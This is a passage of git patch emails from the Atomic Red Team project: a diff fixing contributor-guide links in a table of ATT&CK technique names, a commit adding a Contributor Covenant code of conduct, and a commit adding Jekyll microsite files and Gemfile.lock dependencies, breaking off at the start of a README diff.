Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DCShadow](./T1207/T1207.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Process Discovery](./T1057/T1057.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Query Registry](./T1012/T1012.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Security Software Discovery](./T1063/T1063.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Regsvr32](./T1117/T1117.md) | [External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Rundll32](./T1085/T1085.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hooking](./T1179/T1179.md) | [SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Task](./T1053/T1053.md) | [File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Service Discovery](./T1007/T1007.md) | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Logon Scripts](./T1037/T1037.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | | | [Windows Management Instrumentation](./T1047/T1047.md) | [New Service](./T1050/T1050.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | | | [Windows Remote Management](./T1028/T1028.md) | [Office Application Startup](./T1137/T1137.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | -| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | -| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [InstallUtil](./T1118/T1118.md) | | | | | | | +| | | [Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | +| | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | [Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Hollowing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | [System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | [Windows Management Instrumentation Event Subscription](./T1084/T1084.md) | | [Rundll32](./T1085/T1085.md) | | | | | | | -| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | [Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | | | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | | | | +| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | From 8d7e14c3e4a2748fca385d450f1ee8f963782a4e Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Tue, 12 Jun 2018 11:38:32 -0600 Subject: [PATCH 08/91] Create CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..19622bcf --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at atomicredteam@redcanary.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ From 0bcf6746c1d61f0c545c88d3fb8778a0da23a838 Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Wed, 13 Jun 2018 19:33:59 -0600 Subject: [PATCH 09/91] Add microsite (#250) * first cut of microsite pages * fix a bunch of stuff to clean up look and feel * Initial checkin. * add header * add philosophy and images * add favicon --- .gitignore | 3 + Gemfile | 2 +- Gemfile.lock | 241 +++++++++++++++++++- README.md | 226 ++++-------------- atomic-red-team.gemspec | 2 + docs/_config.yml | 14 +- docs/_layouts/default.html | 53 +++++ docs/apis-execution-frameworks.md | 111 +++++++++ docs/assets/css/style.scss | 10 + docs/assets/images/favicon.png | Bin 0 -> 6487 bytes docs/assets/images/list-of-tests.png | Bin 0 -> 1238139 bytes docs/assets/images/technique-md-example.png | Bin 0 -> 567228 bytes CONTRIBUTING.md => docs/contributing.md | 55 +++-- docs/index.md | 50 +++- docs/testing.md | 86 +++++++ docs/use-cases.md | 42 ++++ 16 files changed, 682 insertions(+), 213 deletions(-) create mode 100644 docs/_layouts/default.html create mode 100644 docs/apis-execution-frameworks.md create mode 100644 docs/assets/css/style.scss create mode 100644 docs/assets/images/favicon.png create mode 100644 docs/assets/images/list-of-tests.png create mode 100644 docs/assets/images/technique-md-example.png rename CONTRIBUTING.md => docs/contributing.md (72%) create mode 100644 docs/testing.md create mode 100644 docs/use-cases.md diff --git a/.gitignore b/.gitignore index f1959c61..98bbf1ea 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,6 @@ .vscode .atom atomic-red-team/enterprise-attack.json + +docs/.sass-cache/ +docs/_site/ diff --git a/Gemfile b/Gemfile index 3be0f912..12914989 100644 --- a/Gemfile +++ b/Gemfile @@ -1,2 +1,2 @@ -#source "https://rubygems.org" +source "https://rubygems.org" gemspec \ No newline at end of file diff --git a/Gemfile.lock b/Gemfile.lock index 75e3dde6..6dce1d42 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -4,13 +4,252 @@ PATH atomic-red-team (1.0) GEM + remote: https://rubygems.org/ specs: + activesupport (4.2.10) + i18n (~> 0.7) + minitest (~> 5.1) + thread_safe (~> 0.3, >= 0.3.4) + tzinfo (~> 1.1) + addressable (2.5.2) + public_suffix (>= 2.0.2, < 4.0) + coffee-script (2.4.1) + coffee-script-source + execjs + coffee-script-source (1.11.1) + colorator (1.1.0) + commonmarker (0.17.9) + ruby-enum (~> 0.5) + concurrent-ruby (1.0.5) + dnsruby (1.60.2) + em-websocket (0.5.1) + eventmachine (>= 0.12.9) + http_parser.rb (~> 0.6.0) + ethon (0.11.0) + ffi (>= 1.3.0) + eventmachine (1.2.7) + execjs (2.7.0) + faraday (0.15.2) + multipart-post (>= 1.2, < 3) + ffi (1.9.25) + forwardable-extended (2.6.0) + gemoji (3.0.0) + github-pages (186) + activesupport (= 4.2.10) + github-pages-health-check (= 1.8.1) + jekyll (= 3.7.3) + jekyll-avatar (= 0.5.0) + jekyll-coffeescript (= 1.1.1) + jekyll-commonmark-ghpages (= 0.1.5) + jekyll-default-layout (= 0.1.4) + jekyll-feed (= 0.9.3) + jekyll-gist (= 1.5.0) + jekyll-github-metadata (= 2.9.4) + jekyll-mentions (= 1.3.0) + jekyll-optional-front-matter (= 0.3.0) + jekyll-paginate (= 1.1.0) + jekyll-readme-index (= 0.2.0) + jekyll-redirect-from (= 0.13.0) + jekyll-relative-links (= 0.5.3) + jekyll-remote-theme (= 0.3.1) + jekyll-sass-converter (= 1.5.2) + jekyll-seo-tag (= 2.4.0) + jekyll-sitemap (= 1.2.0) + jekyll-swiss (= 0.4.0) + jekyll-theme-architect (= 0.1.1) + jekyll-theme-cayman (= 0.1.1) + jekyll-theme-dinky (= 0.1.1) + jekyll-theme-hacker (= 0.1.1) + jekyll-theme-leap-day (= 0.1.1) + jekyll-theme-merlot (= 0.1.1) + jekyll-theme-midnight (= 0.1.1) + jekyll-theme-minimal (= 0.1.1) + jekyll-theme-modernist (= 0.1.1) + jekyll-theme-primer (= 0.5.3) + jekyll-theme-slate (= 0.1.1) + jekyll-theme-tactile (= 0.1.1) + jekyll-theme-time-machine (= 0.1.1) + jekyll-titles-from-headings (= 0.5.1) + jemoji (= 0.9.0) + kramdown (= 1.16.2) + liquid (= 4.0.0) + listen (= 3.1.5) + mercenary (~> 0.3) + minima (= 2.4.1) + nokogiri (>= 1.8.2, < 2.0) + rouge (= 2.2.1) + terminal-table (~> 1.4) + github-pages-health-check (1.8.1) + addressable (~> 2.3) + dnsruby (~> 1.60) + octokit (~> 4.0) + public_suffix (~> 2.0) + typhoeus (~> 1.3) + html-pipeline (2.8.0) + activesupport (>= 2) + nokogiri (>= 1.4) + http_parser.rb (0.6.0) + i18n (0.9.5) + concurrent-ruby (~> 1.0) + jekyll (3.7.3) + addressable (~> 2.4) + colorator (~> 1.0) + em-websocket (~> 0.5) + i18n (~> 0.7) + jekyll-sass-converter (~> 1.0) + jekyll-watch (~> 2.0) + kramdown (~> 1.14) + liquid (~> 4.0) + mercenary (~> 0.3.3) + pathutil (~> 0.9) + rouge (>= 1.7, < 4) + safe_yaml (~> 1.0) + jekyll-avatar (0.5.0) + jekyll (~> 3.0) + jekyll-coffeescript (1.1.1) + coffee-script (~> 2.2) + coffee-script-source (~> 1.11.1) + jekyll-commonmark (1.2.0) + commonmarker (~> 0.14) + jekyll (>= 3.0, < 4.0) + jekyll-commonmark-ghpages (0.1.5) + commonmarker (~> 0.17.6) + jekyll-commonmark (~> 1) + rouge (~> 2) + jekyll-default-layout (0.1.4) + jekyll (~> 3.0) + jekyll-feed (0.9.3) + jekyll (~> 3.3) + jekyll-gist (1.5.0) + octokit (~> 4.2) + jekyll-github-metadata (2.9.4) + jekyll (~> 3.1) + octokit (~> 4.0, != 4.4.0) + jekyll-mentions (1.3.0) + activesupport (~> 4.0) + html-pipeline (~> 2.3) + jekyll (~> 3.0) + jekyll-optional-front-matter (0.3.0) + jekyll (~> 3.0) + jekyll-paginate (1.1.0) + jekyll-readme-index (0.2.0) + jekyll (~> 3.0) + jekyll-redirect-from (0.13.0) + jekyll (~> 3.3) + jekyll-relative-links (0.5.3) + jekyll (~> 3.3) + jekyll-remote-theme (0.3.1) + jekyll (~> 3.5) + rubyzip (>= 1.2.1, < 3.0) + jekyll-sass-converter (1.5.2) + sass (~> 3.4) + jekyll-seo-tag (2.4.0) + jekyll (~> 3.3) + jekyll-sitemap (1.2.0) + jekyll (~> 3.3) + jekyll-swiss (0.4.0) + jekyll-theme-architect (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-cayman (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-dinky (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-hacker (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-leap-day (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-merlot (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-midnight (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-minimal (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-modernist (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-primer (0.5.3) + jekyll (~> 3.5) + jekyll-github-metadata (~> 2.9) + jekyll-seo-tag (~> 2.0) + jekyll-theme-slate (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-tactile (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-theme-time-machine (0.1.1) + jekyll (~> 3.5) + jekyll-seo-tag (~> 2.0) + jekyll-titles-from-headings (0.5.1) + jekyll (~> 3.3) + jekyll-watch (2.0.0) + listen (~> 3.0) + jemoji (0.9.0) + activesupport (~> 4.0, >= 4.2.9) + gemoji (~> 3.0) + html-pipeline (~> 2.2) + jekyll (~> 3.0) + kramdown (1.16.2) + liquid (4.0.0) + listen (3.1.5) + rb-fsevent (~> 0.9, >= 0.9.4) + rb-inotify (~> 0.9, >= 0.9.7) + ruby_dep (~> 1.2) + mercenary (0.3.6) + mini_portile2 (2.3.0) + minima (2.4.1) + jekyll (~> 3.5) + jekyll-feed (~> 0.9) + jekyll-seo-tag (~> 2.1) + minitest (5.11.3) + multipart-post (2.0.0) + nokogiri (1.8.2) + mini_portile2 (~> 2.3.0) + octokit (4.9.0) + sawyer (~> 0.8.0, >= 0.5.3) + pathutil (0.16.1) + forwardable-extended (~> 2.6) + public_suffix (2.0.5) + rb-fsevent (0.10.3) + rb-inotify (0.9.10) + ffi (>= 0.5.0, < 2) + rouge (2.2.1) + ruby-enum (0.7.2) + i18n + ruby_dep (1.5.0) + rubyzip (1.2.1) + safe_yaml (1.0.4) + sass (3.5.6) + sass-listen (~> 4.0.0) + sass-listen (4.0.0) + rb-fsevent (~> 0.9, >= 0.9.4) + rb-inotify (~> 0.9, >= 0.9.7) + sawyer (0.8.1) + addressable (>= 2.3.5, < 2.6) + faraday (~> 0.8, < 1.0) + terminal-table (1.8.0) + unicode-display_width (~> 1.1, >= 1.1.1) + thread_safe (0.3.6) + typhoeus (1.3.0) + ethon (>= 0.9.0) + tzinfo (1.2.5) + thread_safe (~> 0.1) + unicode-display_width (1.4.0) PLATFORMS ruby DEPENDENCIES atomic-red-team! + github-pages BUNDLED WITH - 1.13.7 + 1.16.1 diff --git a/README.md b/README.md index 55edeb97..f75d6da9 100644 --- a/README.md +++ b/README.md @@ -3,204 +3,58 @@ # Atomic Red Team 